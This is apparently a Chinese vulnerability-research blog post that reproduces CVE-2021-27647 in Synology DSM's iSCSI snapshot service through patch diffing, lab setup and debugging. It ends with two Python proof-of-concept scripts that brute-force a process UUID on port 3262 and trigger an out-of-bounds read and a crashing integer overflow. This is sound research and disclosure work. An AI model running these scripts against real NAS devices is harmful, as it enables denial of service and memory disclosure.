CVE-2021-27647漏洞复现

复现群晖DSM某服务漏洞

Posted by X1ng on May 25, 2021

通过漏洞公告以及diff补丁前后的固件来寻找漏洞触发点,但是由于需要结合其他漏洞完成利用,最后并没有复现出完整的利用链

感谢 @sakura@cq674350529 师傅的帮助

搜集相关信息

  • Zero Day Initiative:

    This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of Synology DS418play. Authentication is not required to exploit this vulnerability.

    The specific flaw exists within the processing of the HandleSendMsg parameter sent to StartEngCommPipeServer. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated structure. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current process.

    1. 需要注意StartEngCommPipeServerHandleSendMsg
    2. 应该是一个越界读取漏洞
  • Synology官网

    Product Fixed Release Availability
    DSM 6.2 Upgrade to 6.2.3-25426-3 or above.
    1. 漏洞存在于6.2.3-25426-3及更低版本
  • vulners

    Out-of-bounds Read vulnerability in iscsi_snapshot_comm_core in Synology DiskStation Manager (DSM) before 6.2.3-25426-3 allows remote attackers to execute arbitrary code via crafted web requests.

    1. 需要注意iscsi_snapshot_comm_core

固件下载

在群晖官网下载存在漏洞的固件以及已经修复的os文件

由于只找到了ds918的引导磁盘文件,所以通过ds918的os文件对漏洞进行分析

6.2.2-24922版本

6.2.4-25556版本

找到漏洞文件

先用binwalk解包得到文件系统

binwalk -Me DSM_DS918+_24922.pat
cd _DSM_DS918+_24922.pat.extracted

查找可能存在漏洞的文件

find . | grep iscsi_snapshot_comm_core

用ida打开文件iscsi_snapshot_comm_core

查找可能存在漏洞的函数StartEngCommPipeServer

发现这个函数是动态链接在这个二进制文件中的

交叉引用可以找到调用这个函数的地方

这里是创建了一个线程去调用start_routine函数,start_routine函数再调用StartEngCommPipeServer函数

实现这个函数功能的代码应该在别的二进制文件中,所以到文件系统中搜索这个函数名

find . -type f | xargs strings -f | grep StartEngCommPipeServer

找到一个可疑的库函数

ida打开文件libsynoiscsiep.so.6

查找函数StartEngCommPipeServer,查看伪代码代码

可以看到这里有一个跳转表,其中一个分支是调用HandleSendMsg函数,并且搜索HandleSendMsg函数可以找到实现函数功能的代码,存在漏洞的代码应该存在于该文件中

分析漏洞成因

iscsi_snapshot_comm_core文件中对StartEngCommPipeServer函数的函数调用链:main->start_routine->StartEngCommPipeServer

CreateEngComm函数返回一个结构体指针到qword_6020f8地址

在新的线程中调用start_routine函数,再调用StartEngCommPipeServer函数,ida反汇编出来的伪代码显示StartEngCommPipeServer函数的调用是无参数的,但是查看汇编代码可以发现这里其实是将qword_6020f8这个地址作为第一个参数

进入StartEngCommPipeServer函数

参考BugHuntinginSynologyNAS.pdf中对iscsi_snapshot_comm_core 服务的漏洞挖掘

v7 = (*(__int64 (__fastcall **)(__int64, char *, signed __int64))(i + 0x70))(v4, v5, 4096LL);处的函数调用应该是在接收数据,并保存在之前___tzalloc函数申请到的内存中,也就是v5指针所指向的地址

而且syslog(6, "%s:%d synocomm: RECV %d opcode 0x%x\n", "synocomm.c", 463LL, v7, (unsigned int)*v5, v10, v11, v12);可以看出v7应该是接收到数据的长度

进入HandleSendMsg函数

__int64 __fastcall HandleSendMsg(__int64 a1)
{
  __int64 v1;
  _QWORD *v2;
  int v5;
  __int64 v8;
  ...
  v1 = SearchAppInRemoteHostSetByUUID(a1 + 36);
  v2 = (_QWORD *)v1;//搜索远程App赋值v2
  if ( v1 )
  {
    ...
  }
  else
  {
    v8 = SearchAppInLocalHostSetByUUID(a1 + 36);
    v2 = (_QWORD *)v8;//搜索本地App赋值v2
    if ( !v8 )
    {
      ...
    }
    ...
  }
  v5 = *(_DWORD *)(a1 + 76);//v5由接收的数据a1得到,可以控制
  *(_BYTE *)a1 = 33;
  *(_BYTE *)(a1 + 1) = 1;
  *(_BYTE *)(a1 + 2) = 1;
  if ( (signed int)AppSendControl(v2, a1, (unsigned int)(v5 + 84)) > 0 )//可以控制第三个参数
  {
    ...
  }
  ...
}

用ida的diaphora插件对比存在漏洞的文件和已经修复漏洞的文件

可以看到修复后对AppSendControl函数的第三个参数进行了限制,最大为0x1000

即该漏洞成因应该是没有限制AppSendControl函数的第三个参数大小从而造成越界读取

可以看到BugHuntinginSynologyNAS.pdf中展示的漏洞与该漏洞成因是一样的,只是pdf中展示的是在HandleRecvMsg函数中由AppSendControl函数的第三个参数整数溢出造成的溢出漏洞

经过后面的调试,这里的AppSendControl函数会将a1堆地址中的数据通过管道发送到搜索找到的app中

搭建实验环境

由于贫穷,买不起设备,在vmware搭建DSM

选择左上角的新建虚拟机

选择创建自定虚拟机

选择Linux 3.x内核64位操作系统

选择传统BIOS

选择使用现有的虚拟磁盘,选择引导磁盘1.ds918_6.21.vmdk

然后点击自定设置,选择好虚拟机文件保存的位置

完成之后会跳出虚拟机设置的窗口,选择硬盘(SATA)

将高级选项中的总线类型设置为SATA,应用

然后添加设备

添加新硬盘

同样将高级选项中的总线类型设置为SATA,应用

之后就可以打开虚拟机了

把网络设置为桥接模式

之后打开群晖助手,搜索局域网中的synology设备

右键单击该设备,选择安装后弹出安装向导

选择存在漏洞版本的pat系统文件

设置密码

设置网络

点击完成后等待安装

安装完成后在群晖助手中双击即可在浏览器中进入系统

用之前设置的密码登陆

安装完毕

开启ssh服务

在ubuntu上连接DSM

ssh admin@172.20.10.10

获取root权限

sudo -i

输入DSM管理员帐户(admin)的密码

海特实验室搜集的gdbserver找到的gdbserver-7.12-x86_64-sysv,并传到DSM上

在DSM上scp

scp x1ng@172.20.10.7:/home/x1ng/test/gdbserver-7.12-x86_64-sysv ./

编写POC

接下来需要编写POC来触发漏洞

但是编写POC之前要先对该程序数据包处理流程进行逆向,才能知道如何构造数据包并触发漏洞

往哪发送数据包

我们需要知道如何与漏洞文件iscsi_snapshot_comm_core进行通讯

我的想法是有下面几种情况

  1. 向iSCSI服务特定的端口发送数据包,相关程序经过对数据包的分析将请求转发给iscsi_snapshot_comm_core文件
  2. 可以直接向iscsi_snapshot_comm_core监听的端口发送数据包进行通讯

对于第一种,我们可以通过查阅文档找到iSCSI服务的端口为3260、3263、3265

https://www.synology.cn/zh-cn/knowledgebase/DSM/tutorial/Network/What_network_ports_are_used_by_Synology_services

类型 端口号 协议
iSCSI 3260、3263、3265 TCP

但是不知道具体程序对应的端口

对于第二种,通过在群晖设备中搜索在使用的端口号可以找到iscsi_snapshot_comm_core文件对应的端口为3262

netstat -alnp -4

可以找到3262端口对应的文件

cat /proc/net/tcp

并且可以找到在该进程中对应的文件描述符

ls /proc/25827/fd -al

关于/proc/$pid/fd socket:[number]

那么这个socket:后面的一串数字是什么呢?其实是该socket的inode号

/proc/net/tcp(udp对应/proc/net/udp)文件列出了相应socket的inode号通过比对此字段,我们能在/proc/net/tcp下获得此套接口的其他信息

既然可以直接与进程通信,优先考虑第二种情况

如何处理数据包

通过ida静态分析iscsi_snapshot_comm_core文件,可以知道整个程序大概的逻辑是

  1. CreateEngComm返回一个结构体到qword_6020F8
  2. 新线程将qword_6020F8作为参数调用StartEngCommPipeServer
  3. 新线程将qword_6020F8作为参数调用StartEngCommSockServer
  4. 两个pthread_join等待线程结束

可以注意到这里其实是先等待运行StartEngCommSockServer的线程结束再等待运行StartEngCommPipeServer的线程结束,结合BugHuntinginSynologyNAS.pdf中的socket->iscsi_snapshot_comm_core->pipe

猜测应该是先在StartEngCommSockServer中建立socket通信,完成一些处理后再通过StartEngCommPipeServer处理命令建立管道,所以可以先对StartEngCommSockServer函数进行分析

而实现StartEngCommSockServer函数的代码也在libsynoiscsiep.so.6文件中,可以用上面的方法找到,这里不再重复(实际上整个进程的主要逻辑基本都在libsynoiscsiep.so.6文件中)

StartEngCommSockServer函数

StartEngCommSockServer函数中调用了一个函数指针

gdbserver调试iscsi_snapshot_comm_core进程

DSM:

ps -aux | grep iscsi_snapshot_comm_core
./gdbserver-7.12-x86_64-sysv :1234 --attach 12363

Ubuntu:

gdb iscsi_snapshot_comm_core
target remote 172.20.10.10:1234

查看该函数指针指向的函数

用pwndbg中的vmmap找到函数在库文件中的偏移

gdbserver中显示函数偏移为0xd8df0

ida中找到该函数,函数名称为synocomm_socket_start_service,但是ida中地址与gdb中计算的偏移有一些差别

ida中显示函数偏移为0xd8e20,即ida中偏移地址减0x30就是gdbserver中的地址

分析synocomm_socket_start_service函数

accept函数等待新的连接

接收到新的socket连接以后将DupSocketRequestRxChannel的返回值作为参数在新线程调用start_routine函数

start_routine函数中调用了一个函数指针

从gdbserver中可以找到该函数指针指向synocomm_base_recv_msg函数,在synocomm_base_recv_msg函数中最终调用了PacketRead函数

@cq674350529大佬:

PacketRead() 和 PacketWrite(), 分别对应用来读数据和写数据

  • PacketRead函数

    PacketRead函数的参数a2是指向recv的函数指针

    该函数的主要逻辑是先从上文accept函数建立的新套接字中获取0x20的第一次报文,前8字节与qword_34E9B0中的格式比较,并获取下一个数据报文的size

      LOAD:000000000034E9B0 qword_34E9B0    dq 18060E0B0E0D1812h
    

    再从套接字获取size长度的第二次报文,并复制到参数a3(dest变量)中

    则两次发送信息格式应该为

      struct data1{
        size_t magic = 0x18060E0B0E0D1812;
        size_t padding;
        size_t padding;
        int size;
        int padding;
      }
    
      struct data2{
        char cmd[size];
      }
    

start_routine函数通过PacketRead函数接收到cmd指令后会进行判断,对0x360x37进行处理,其他非零cmd指令则通过函数指针调用synocomm_base_send_msg函数,synocomm_base_send_msg函数再调用PacketWrite函数发送cmd指令给其他线程

  • PacketWrite函数

    PacketWrite函数的参数a2是指向send的函数指针

    主要逻辑是将参数a3中的数据按照上文的格式打包,并发送给特定文件

注意到之前查看该进程的文件描述符

4、5、6对应的都是/tmp/synocomm_pipe_svr_msg_req文件,文件描述符4有读取权限,5、6只有写权限

该文件应该是作为线程通信的管道:

  1. 在调用PacketWrite函数时,向文件描述符为6的文件中发送数据

  2. 查看此时其他线程,可以看到线程2在等待从文件描述符为4的文件中读取数据

     info thread
     thread 2
    

此时已经找到了将数据包发送到运行StartEngCommPipeServer函数的线程的方法,接下来需要对StartEngCommPipeServer函数进行分析

StartEngCommPipeServer函数

通过计算偏移的方法,可以找到gdbserver中看到的线程2在等待的read函数的调用过程

ida中可以找到的函数调用链为sub_D8C30->PacketRead->sub_D8C80->read

(但是经过分析,实际该线程中调用PacketRead函数的并不是sub_D8C30函数)

经过调试可以找到该线程中调用PacketRead函数的逻辑

在ida中查看地址,就是StartEngCommPipeServer函数中的

v7 = (*(__int64 (__fastcall **)(__int64, char *, signed __int64))(i + 0x70))(v4, v5, 0x1000LL);

也就是说,数据包的处理逻辑其实很简单,如果cmd指令是0x36或者0x37,就由StartEngCommSockServer函数直接处理,否则通过管道传递,由StartEngCommPipeServer函数处理

则只需要构造

struct data1{
  size_t magic = 0x18060E0B0E0D1812;
  size_t padding;
  size_t padding;
  int size = 2;
  int padding;
}
struct data2{
  char cmd[2] = "\x20\x01";
}

即可进入存在漏洞的函数HandleSendMsg

触发漏洞

进入HandleSendMsg函数后,在SearchAppInRemoteHostSetByUUIDSearchAppInLocalHostSetByUUID两个函数中需要根据我们输入的UUID搜索app,然后通过AppSendControl中的PacketWrite函数将第二次发送的报文由管道的方式发送给对应的app

这里的UUID并不是通用唯一识别码,是这里自定义的一种通信格式,经过对SearchAppInRemoteHostSetByUUIDSearchAppInLocalHostSetByUUID函数的逆向分析,可以发现搜索能找到的app只有ISS-SERVER,也就是iscsi_snapshot_server,其UUID为”ISS-SERVER-$pid”,比如iscsi_snapshot_server进程的pid为24375,则UUID就是”ISS-SERVER-24375”

由于没有找到app的话进程不会有任何反应,所以pid应该爆破出来

所以可以实现任意控制AppSendControl函数的第三个参数,向管道发送任意长度的报文

poc.py:

from pwn import *
import socket
import uuid


name = 'ISS-SERVER-'
for i in range(20000):
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect(('172.20.10.10', 3262))
	udx = name + str(i)
	print("[+]try " + udx)
	pd = p64(0x18060e0b0e0d1812)+p32(0x24+len(udx)+0x19+0x4)*6
	s.send(pd)
	pd = '\x20\x01'+'\x00'*0x22+udx+'\x00'*(0x4c-0x24-len(udx))+p32(0x2000)
	s.send(pd)

	s.send('1')
	s.recv(1024)

调用AppSendControl函数的地方下断点

(但是由于PacketWrite函数中限制了第二次读取报文长度最大为0x1000字节,并且发送的目标只能是iscsi_snapshot_server进程,所以暂时并没有想到如何进行利用)

如果控制size+0x54为负数,即可以复现BugHuntinginSynologyNAS.pdf中展示的整数溢出

poc.py:

from pwn import *
import socket
import uuid

name = 'ISS-SERVER-'
for i in range(20000):
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect(('172.20.10.10', 3262))
	udx = name + str(i)
	print("[+]try " + udx)
	pd = p64(0x18060e0b0e0d1812)+p32(0x24+len(udx)+0x19+0x4)*6
	s.send(pd)
	pd = '\x20\x01'+'\x00'*0x22+udx+'\x00'*(0x4c-0x24-len(udx))+p32(0xFFFFFF94)
	s.send(pd)

	s.send('1')
	s.recv(1024)

调用AppSendControl函数的地方下断点

continue

crash的原因应该是memcpy函数复制的size太大,访问到不存在的地址造成了段错误

然而并没有想到利用的方法,应该需要与其他漏洞结合完成利用

参考资料

Zero Day Initiative

Synology官网

vulners

POC2019